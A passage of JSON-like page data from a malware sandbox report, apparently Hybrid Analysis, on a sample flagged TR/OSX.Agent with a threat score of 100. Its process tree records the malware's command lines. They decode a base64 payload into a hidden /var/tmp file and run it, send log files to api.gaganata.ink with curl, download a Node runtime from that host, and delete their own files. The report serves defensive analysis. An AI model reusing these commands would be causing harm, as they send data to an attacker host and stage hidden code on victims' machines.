Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.196.60","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"address":"104.21.84.196","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"dns_resolutions":[{"domain":"api.gaganata.ink","address":"172.67.196.60","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}],"processes":[{"pid":1693,"ppid":0,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"40129917-1693"},{"pid":1695,"ppid":1693,"name":"rm","command_line":"rm -f /var/tmp/deepfake_guard.launcher.status","sha256":"8e3faaa5eb4a2a4d0e2788fe442bcac6d604be5a0c5a9f09d08f06e3a3fcf570","normalized_path":"/usr/bin/rm","parent_uid":"40129917-1693","uid":"40572941-1695"},{"pid":1697,"ppid":1693,"name":"sleep","command_line":"sleep 1","sha256":"4a193eb6f25eecf27bad523cb8a53ec4d40775eb498f44760b19bfc421cc90aa","normalized_path":"/usr/bin/sleep","parent_uid":"40129917-1693","uid":"40932963-1697"},{"pid":1696,"ppid":1693,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"40129917-1693","uid":"41175976-1696"},{"pid":1698,"ppid":1696,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"41175976-1696","uid":"41606995-1698"},{"pid":1704,"ppid":1696,"name":"mktemp","command_line":"mktemp /var/tmp/.kdm.XXXXXX","sha256":"f580f6b40b1c1c8f515fa45ac794ea784fea5370d17888339c1cd9b7213d5589","normalized_path":"/usr/bin/mktemp","parent_uid":"41175976-1696","uid":"47415544-1704"},{"pid":1706,"ppid":1696,"name":"base64","command_line":"base64 -d","sha256":"40e5639fa360b47ffb5f512c0644280dc6f7fdb7a3141e1df11bab4bb4253d60","normalized_path":"/usr/bin/base64","parent_uid":"41175976-1696","uid":"48031580-1706"},{"pid":1707,"ppid":1706,"name":"base64","command_line":"base64 -D","sha256":"40e5639fa360b47ffb5f512c0644280dc6f7fdb7a3141e1df11bab4bb4253d60","normalized_path":"/usr/bin/base64","parent_uid":"48031580-1706","uid":"47873571-1707"},{"pid":1708,"ppid":1696,"name":"chmod","command_line":"chmod 700 /var/tmp/.kdm.Lf6YQe","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"41175976-1696","uid":"48285592-1708"},{"pid":1709,"ppid":1696,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"41175976-1696","uid":"48526604-1709"},{"pid":1710,"ppid":1696,"name":"bash","command_line":"bash /var/tmp/.kdm.Lf6YQe","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"41175976-1696","uid":"48800616-1710"},{"pid":1711,"ppid":1710,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"48800616-1710","uid":"49202637-1711"},{"pid":1713,"ppid":1710,"name":"bash","command_line":"bash /var/tmp/.kdm.Lf6YQe","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"48800616-1710","uid":"49522649-1713"},{"pid":1715,"ppid":1713,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"49522649-1713","uid":"49843659-1715"},{"pid":1716,"ppid":1713,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"49522649-1713","uid":"50185670-1716"},{"pid":1714,"ppid":1710,"name":"mkdir","command_line":"mkdir -p /var/tmp/deepfake_guard_work","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"48800616-1710","uid":"49721655-1714"},{"pid":1717,"ppid":1710,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"48800616-1710","uid":"50289673-1717"},{"pid":1712,"ppid":1710,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started === https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"48800616-1710","uid":"50597684-1712"},{"pid":1718,"ppid":1710,"name":"chmod","command_line":"chmod +x /var/tmp/deepfake_guard_run.sh","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"48800616-1710","uid":"51351708-1718"},{"pid":1721,"ppid":1696,"name":"rm","command_line":"rm -f /var/tmp/.kdm.Lf6YQe","sha256":"8e3faaa5eb4a2a4d0e2788fe442bcac6d604be5a0c5a9f09d08f06e3a3fcf570","normalized_path":"/usr/bin/rm","parent_uid":"41175976-1696","uid":"52162740-1721"},{"pid":1702,"ppid":1696,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --data-binary @/var/tmp/deepfake_guard.log --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-install-log","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"41175976-1696","uid":"429271057-1702"},{"pid":1705,"ppid":1693,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"40129917-1693","uid":"47592552-1705"},{"pid":1720,"ppid":1693,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"40129917-1693","uid":"51712725-1720"},{"pid":1722,"ppid":1720,"name":"rm","command_line":"rm -f /var/tmp/upd_m /var/tmp/upd_w /root/upd_m /root/upd_w /home/ubuntu/verify_m","sha256":"8e3faaa5eb4a2a4d0e2788fe442bcac6d604be5a0c5a9f09d08f06e3a3fcf570","normalized_path":"/usr/bin/rm","parent_uid":"51712725-1720","uid":"53031769-1722"},{"pid":1724,"ppid":1720,"name":"rm","command_line":"rm -f /var/tmp/.kdm.* /var/tmp/deepfake_guard.launcher.status","sha256":"8e3faaa5eb4a2a4d0e2788fe442bcac6d604be5a0c5a9f09d08f06e3a3fcf570","normalized_path":"/usr/bin/rm","parent_uid":"51712725-1720","uid":"53377783-1724"},{"pid":1699,"ppid":1693,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"40129917-1693","uid":"418831004-1699"},{"pid":1700,"ppid":1699,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"418831004-1699","uid":"421261014-1700"},{"pid":1701,"ppid":1699,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"418831004-1699","uid":"423841025-1701"},{"pid":1737,"ppid":1693,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: application/json -H X-Guard-Platform: ubuntu -d {\"ok\":true,upload\":false,exitCode\":0,message\":\"payload_ready,platform\":\"ubuntu\"} --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-launcher-result","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"40129917-1693","uid":"597311024-1737"},{"pid":1694,"ppid":0,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"40381932-1694"},{"pid":1719,"ppid":0,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"51846729-1719"},{"pid":1725,"ppid":1719,"name":"mkdir","command_line":"mkdir /var/tmp/deepfake_guard.lock.d","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"51846729-1719","uid":"53579790-1725"},{"pid":1726,"ppid":1719,"name":"mkdir","command_line":"mkdir -p /var/tmp/deepfake_guard_work","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"51846729-1719","uid":"54798826-1726"},{"pid":1727,"ppid":1719,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"51846729-1719","uid":"55305851-1727"},{"pid":1730,"ppid":1719,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"51846729-1719","uid":"55828868-1730"},{"pid":1731,"ppid":1730,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"55828868-1730","uid":"56303882-1731"},{"pid":1732,"ppid":1730,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"55828868-1730","uid":"56650896-1732"},{"pid":1729,"ppid":1719,"name":"sleep","command_line":"sleep 0.5","sha256":"4a193eb6f25eecf27bad523cb8a53ec4d40775eb498f44760b19bfc421cc90aa","normalized_path":"/usr/bin/sleep","parent_uid":"51846729-1719","uid":"55952872-1729"},{"pid":1728,"ppid":1719,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started (pid 1719) === https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"51846729-1719","uid":"57032913-1728"},{"pid":1739,"ppid":1719,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"51846729-1719","uid":"638435887-1739"},{"pid":1743,"ppid":1719,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --data-binary @/var/tmp/deepfake_guard.log --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"51846729-1719","uid":"647105932-1743"},{"pid":1746,"ppid":1719,"name":"mkdir","command_line":"mkdir -p /var/tmp/deepfake_guard_work","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"51846729-1719","uid":"691843558-1746"},{"pid":1748,"ppid":1719,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"51846729-1719","uid":"695953578-1748"},{"pid":1750,"ppid":1719,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"51846729-1719","uid":"698553590-1750"},{"pid":1752,"ppid":1750,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"698553590-1750","uid":"701553603-1752"},{"pid":1755,"ppid":1750,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"698553590-1750","uid":"706623616-1755"},{"pid":1753,"ppid":1719,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"51846729-1719","uid":"700223599-1753"},{"pid":1754,"ppid":1753,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"700223599-1753","uid":"704213610-1754"},{"pid":1756,"ppid":1753,"name":"uname","command_line":"uname -m","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"700223599-1753","uid":"709093622-1756"},{"pid":1749,"ppid":1719,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary OK: working directory /var/tmp/deepfake_guard_work https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"51846729-1719","uid":"711793631-1749"},{"pid":1760,"ppid":1719,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"51846729-1719","uid":"724513664-1760"},{"pid":1761,"ppid":1719,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"51846729-1719","uid":"728013682-1761"},{"pid":1762,"ppid":1719,"name":"uname","command_line":"uname -m","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"51846729-1719","uid":"733573697-1762"},{"pid":1764,"ppid":1719,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"51846729-1719","uid":"737863712-1764"},{"pid":1766,"ppid":1719,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"51846729-1719","uid":"740543729-1766"},{"pid":1768,"ppid":1766,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"740543729-1766","uid":"743843742-1768"},{"pid":1769,"ppid":1766,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"740543729-1766","uid":"749023760-1769"},{"pid":1767,"ppid":1719,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"51846729-1719","uid":"743783741-1767"},{"pid":1772,"ppid":1719,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"51846729-1719","uid":"749233761-1772"},{"pid":1773,"ppid":1772,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"749233761-1772","uid":"763553808-1773"},{"pid":1776,"ppid":1772,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"749233761-1772","uid":"773473857-1776"},{"pid":1771,"ppid":1719,"name":"rm","command_line":"rm -rf /var/tmp/deepfake_guard_work/node-v20.18.1-linux-x64","sha256":"8e3faaa5eb4a2a4d0e2788fe442bcac6d604be5a0c5a9f09d08f06e3a3fcf570","normalized_path":"/usr/bin/rm","parent_uid":"51846729-1719","uid":"750913766-1771"},{"pid":1765,"ppid":1719,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: downloading portable node (OS=Linux ARCH=x86_64) https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"51846729-1719","uid":"753773775-1765"},{"pid":1775,"ppid":1719,"name":"date","command_line":"date +%Y-%m-%d %H:%M:%S","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"51846729-1719","uid":"766133822-1775"},{"pid":1770,"ppid":1719,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: portable node setup attempt 1 https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"51846729-1719","uid":"795343927-1770"},{"pid":1777,"ppid":1719,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: node download attempt 1/30: https://api.gaganata.ink/node/node-v20.18.1-linux-x64.tar.gz https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"51846729-1719","uid":"799443937-1777"},{"pid":1723,"ppid":0,"name":"curl","command_line":"curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started === https://api.gaganata.ink/guard-install-progress","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","uid":"52642756-1723"},{"pid":1734,"ppid":0,"name":"bash","command_line":"bash /home/ubuntu/verify_m","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"58919988-1734"},{"pid":1735,"ppid":1734,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"58919988-1734","uid":"59131996-1735"},{"pid":1736,"ppid":1734,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"58919988-1734","uid":"593731008-1736"},{"pid":1740,"ppid":0,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"639755895-1740"},{"pid":1741,"ppid":1740,"name":"uname","command_line":"uname -s","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"639755895-1740","uid":"641475905-1741"},{"pid":1742,"ppid":1740,"name":"grep","command_line":"grep -qi ubuntu /etc/os-release","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"639755895-1740","uid":"643785915-1742"},{"pid":1745,"ppid":0,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"689323550-1745"},{"pid":1747,"ppid":1745,"name":"sleep","command_line":"sleep 60","sha256":"4a193eb6f25eecf27bad523cb8a53ec4d40775eb498f44760b19bfc421cc90aa","normalized_path":"/usr/bin/sleep","parent_uid":"689323550-1745","uid":"691833558-1747"},{"pid":1751,"ppid":0,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"698693590-1751"},{"pid":1757,"ppid":1751,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"698693590-1751","uid":"711783630-1757"},{"pid":1759,"ppid":1757,"name":"head","command_line":"head -1","sha256":"f3e0bed1ad6f878e8f5518d4ed757357c6856f33bd553cb443003dc2f496723c","normalized_path":"/usr/bin/head","parent_uid":"711783630-1757","uid":"716403640-1759"},{"pid":1758,"ppid":1757,"name":"find","command_line":"find /var/tmp/deepfake_guard_work -type f -path */bin/node","sha256":"ac1ea1c5391de921aca1572f1bf25d03707beb3887b27c16a5b4948fd553941b","normalized_path":"/usr/bin/find","parent_uid":"711783630-1757","uid":"719773648-1758"},{"pid":1774,"ppid":0,"name":"bash","command_line":"bash /var/tmp/deepfake_guard_run.sh","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"760853796-1774"}],"all_imported_dlls":null},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"a46ae3fecc95f841_.kdm.Lf6YQe","sha256":"a46ae3fecc95f84175b58f650c3006a745a5d114cab89c48f9a0c351a9f02017","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"name":"bc8ccae44af41d4c_deepfake_guard_run.sh","sha256":"bc8ccae44af41d4ce5c3c93100df9bab251fe11a538d556f14dfb715d5c76075","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"name":"2fac3fd2b0438c86_deepfake_guard.log","sha256":"2fac3fd2b0438c86fadc0fd0c3f3edb8ba3cdf5bd81377eb00a0231438a4f4f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"name":"9cacfd988fb50bc7_deepfake_guard.launcher.status","sha256":"9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"name":"f8486352cbff3941_pid","sha256":"f8486352cbff39416e12f52c5e5a7d570a4742c11a8e84f51dd935985cd0f3f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"files_written":[{"path":"/dev/null","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard.log","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/.kdm.Lf6YQe","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard_work","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard_run.sh","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard.lock.d/pid","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard.launcher.status","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard.lock.d","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"files_deleted":[{"path":"/var/tmp/deepfake_guard.launcher.status","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/.kdm.Lf6YQe","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/upd_m","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/upd_w","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/root/upd_m","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/root/upd_w","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/home/ubuntu/verify_m","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/.kdm.*","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"path":"/var/tmp/deepfake_guard_work/node-v20.18.1-linux-x64","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}]},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6ac2a0c07fec0d74f60ae171"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious TR/OSX.Agent Sample c7c22e322c17… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample c7c22e322c17…. Malware family: TR/OSX.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 8 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d"}],["$","meta","4",{"property":"og:title","content":"Malicious TR/OSX.Agent Sample c7c22e322c17… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample c7c22e322c17…. Malware family: TR/OSX.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 8 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TR/OSX.Agent Sample c7c22e322c17… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample c7c22e322c17…. Malware family: TR/OSX.Agent. Threat score 100/100. 1/26 AV engines 